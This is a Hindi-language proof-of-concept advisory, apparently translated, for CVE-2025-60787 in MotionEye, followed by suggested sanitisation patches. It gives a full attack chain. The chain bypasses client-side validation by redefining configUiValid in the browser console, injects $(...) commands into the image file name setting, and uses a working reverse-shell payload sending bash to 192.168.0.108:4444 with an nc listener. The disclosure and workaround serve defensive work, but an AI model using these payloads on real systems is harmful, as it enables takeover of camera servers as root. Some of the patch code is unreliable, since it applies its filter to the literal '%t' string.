
CVE-2025-60787 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो MotionEye <= 0.43.1b4 में क्लाइंट-साइड सत्यापन बायपास और इमेज फ़ाइलनाम में कमांड इंजेक्शन के माध्यम से रिमोट कोड निष्पादन प्रदर्शित करता है।
CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
मूल लिंक: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter
Docker में चल रहे MotionEye इंस्टेंस के सुरक्षा परीक्षण के दौरान, यह देखा गया कि वेब UI के भीतर क्लाइंट-साइड वैलिडेशन को बायपास किया जा सकता है। यह मनमाने इनपुट को सबमिट करने की अनुमति देता है, जिसमें ऐसे पेलोड भी शामिल हैं जो होस्ट कंटेनर पर निष्पादन को ट्रिगर कर सकते हैं। यह समस्या शोषण किए जाने पर रिमोट कोड निष्पादन (RCE) का जोखिम पैदा करती है।
प्रभावित संस्करण: 0.43.1b4 तक के सभी संस्करण
पैच स्थिति: अभी तक कोई पैच उपलब्ध नहीं है। इस एडवाइजरी में एक वर्कअराउंड दिया गया है।
प्रोजेक्ट संदर्भ: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10
ghcr.io/motioneye-project/motioneye:edge9999 कंटेनर के 8765 से मैप किया गयाadmin / खाली पासवर्ड (डिफ़ॉल्ट)Docker इमेज डाउनलोड शुरू करने और कंटेनर शुरू करने के लिए निम्न कमांड चलाएँ
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

docker logs motioneye | grep "motionEye server"
परिणाम: MotionEye सर्वर 0.43.1b4

एक बार Docker कंटेनर चल रहा हो, तो निम्न कमांड का उपयोग करके कंटेनर शेल तक पहुँचा जा सकता है
docker exec -it motioneye /bin/bash
ls -la /tmp

वेब इंटरफ़ेस तक पहुँचें:
http://127.0.0.1:9999
लॉगिन: admin (खाली पासवर्ड)
नमूना RTSP नेटवर्क कैमरा जोड़ा गया।

"Still Images" > "Image File Name" में एक दुर्भावनापूर्ण निष्पादन कमांड दर्ज किया गया था, लेकिन क्लाइंट-साइड वैलिडेशन त्रुटि का सामना करना पड़ा।
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
क्लाइंट-साइड वैलिडेशन द्वारा अवरुद्ध।


निम्न स्क्रिप्ट वैलिडेशन के लिए ज़िम्मेदार है: /static/js/main.js?v=0.43.1b4, जो वैलिडेशन शर्तों को लागू करने के लिए /static/js/ui.js?v=0.43.1b4 को संदर्भित करती है।
फ़ाइल: /static/js/main.js?v=0.43.1b4 जो /static/js/ui.js?v=0.43.1b4 को संदर्भित करती है
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
ब्राउज़र कंसोल में configUiValid फ़ंक्शन को ओवरराइड करके, सभी वैलिडेशन जाँचों को बायपास किया जा सकता है: ब्राउज़र के कंसोल में नीचे दिया गया स्निपेट दर्ज करें (F12 या Ctrl+Shift+I)
configUiValid = function() {
return true;
};

अब पेलोड को बिना किसी वैलिडेशन के सीधे दर्ज किया जा सकता है: नीचे के अनुसार सेट करें और सेटिंग्स लागू करें
सेटिंग्स:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

लागू किया गया → रूट अनुमतियों के साथ फ़ाइल बनाई गई।

सरल रिवर्स शेल उत्पादन:
लिसनर:
nc -lvnp 4444

इंजेक्टेड पेलोड:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

परिणाम: रिमोट शेल प्राप्त हुआ।
MotionEye कमज़ोर है क्योंकि यह वेब डैशबोर्ड से उपयोगकर्ता इनपुट लेता है और खतरनाक वर्णों की जाँच किए बिना इसे सीधे Motion कॉन्फ़िग फ़ाइलों में लिखता है। उदाहरण के लिए, UI में image_file_name फ़ील्ड को बैकएंड (config.py) में भेजा जाता है और /etc/motioneye/camera-.conf में सहेजा जाता है। जब MotionEye Motion सेवा (motionctl.start) को पुनरारंभ करता है, तो Motion प्रक्रिया इस कॉन्फ़िग फ़ाइल को पढ़ती है। यदि picture_filename फ़ील्ड में $(touch /tmp/test) जैसा शेल सिंटैक्स होता है, तो Motion इसे फ़ाइलनाम के हिस्से के रूप में मानने के बजाय वास्तविक कमांड के रूप में चलाएगा।
Motion कॉन्फ़िग फ़ाइलों में लिखा गया अस्वच्छ इनपुट:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion picture_filename पार्स करता है → पेलोड निष्पादित करता है
फ़ाइल: /usr/local/lib/python3.13/dist-packages/motioneye/config.py
def sanitize_filename(value):
# केवल अक्षर, संख्याएँ, %, _, -, /, . की अनुमति दें
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # सुरक्षित फ़ॉलबैक
return value

स्वच्छता लागू करें:
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
पहले:
बाद में:

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
मूल:
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
इससे बदलें:
import re
on_event_start = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]

docker restart motioneye

motion_camera_ui_to_dict(...) के अंदर:
मूल:
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
इससे बदलें:
from re import sub
data['picture_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')